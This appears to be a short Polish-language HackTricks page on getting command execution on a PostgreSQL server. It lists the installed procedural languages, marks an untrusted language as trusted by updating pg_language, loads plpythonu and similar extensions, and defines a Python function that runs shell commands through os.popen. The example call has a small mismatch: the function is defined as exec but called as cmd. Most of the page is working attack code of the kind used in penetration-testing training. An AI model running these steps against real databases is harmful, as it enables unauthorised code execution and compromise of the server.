RCE with PostgreSQL Languages

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE) Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Wsparcie HackTricks

Języki PostgreSQL

Baza danych PostgreSQL, do której uzyskałeś dostęp, może mieć zainstalowane różne języki skryptowe, które możesz wykorzystać do wykonywania dowolnego kodu.

Możesz je uruchomić:

\dL *

SELECT lanname,lanpltrusted,lanacl FROM pg_language;

Większość języków skryptowych, które można zainstalować w PostgreSQL, ma 2 odmiany: zaufaną i niezaufaną. Niezaufana będzie miała nazwę kończącą się na "u" i będzie wersją, która pozwoli ci na wykonywanie kodu i korzystanie z innych interesujących funkcji. Oto języki, które, jeśli są zainstalowane, są interesujące:

  • plpythonu

  • plpython3u

  • plperlu

  • pljavaU

  • plrubyu

  • ... (jakikolwiek inny język programowania używający niebezpiecznej wersji)

Jeśli znajdziesz, że interesujący język jest zainstalowany, ale niezaufany przez PostgreSQL (lanpltrusted jest false), możesz spróbować zaufać mu za pomocą następującej linii, aby żadne ograniczenia nie były stosowane przez PostgreSQL:

UPDATE pg_language SET lanpltrusted=true WHERE lanname='plpythonu';
# To check your permissions over the table pg_language
SELECT * FROM information_schema.table_privileges WHERE table_name = 'pg_language';

Jeśli nie widzisz języka, możesz spróbować załadować go z (musisz być superadministratorem):

CREATE EXTENSION plpythonu;
CREATE EXTENSION plpython3u;
CREATE EXTENSION plperlu;
CREATE EXTENSION pljavaU;
CREATE EXTENSION plrubyu;

Zauważ, że możliwe jest skompilowanie bezpiecznych wersji jako "niebezpieczne". Sprawdź to na przykład. Zawsze warto spróbować, czy możesz wykonać kod, nawet jeśli znajdziesz zainstalowaną tylko wersję zaufaną.

plpythonu/plpython3u

CREATE OR REPLACE FUNCTION exec (cmd text)
RETURNS VARCHAR(65535) stable
AS $$
import os
return os.popen(cmd).read()
#return os.execve(cmd, ["/usr/lib64/pgsql92/bin/psql"], {})
$$
LANGUAGE 'plpythonu';

SELECT cmd("ls"); #RCE with popen or execve

pgSQL

Sprawdź następującą stronę:

PL/pgSQL Password Bruteforce

C

Sprawdź następującą stronę:

RCE with PostgreSQL Extensions

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE) Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Wsparcie HackTricks

Last updated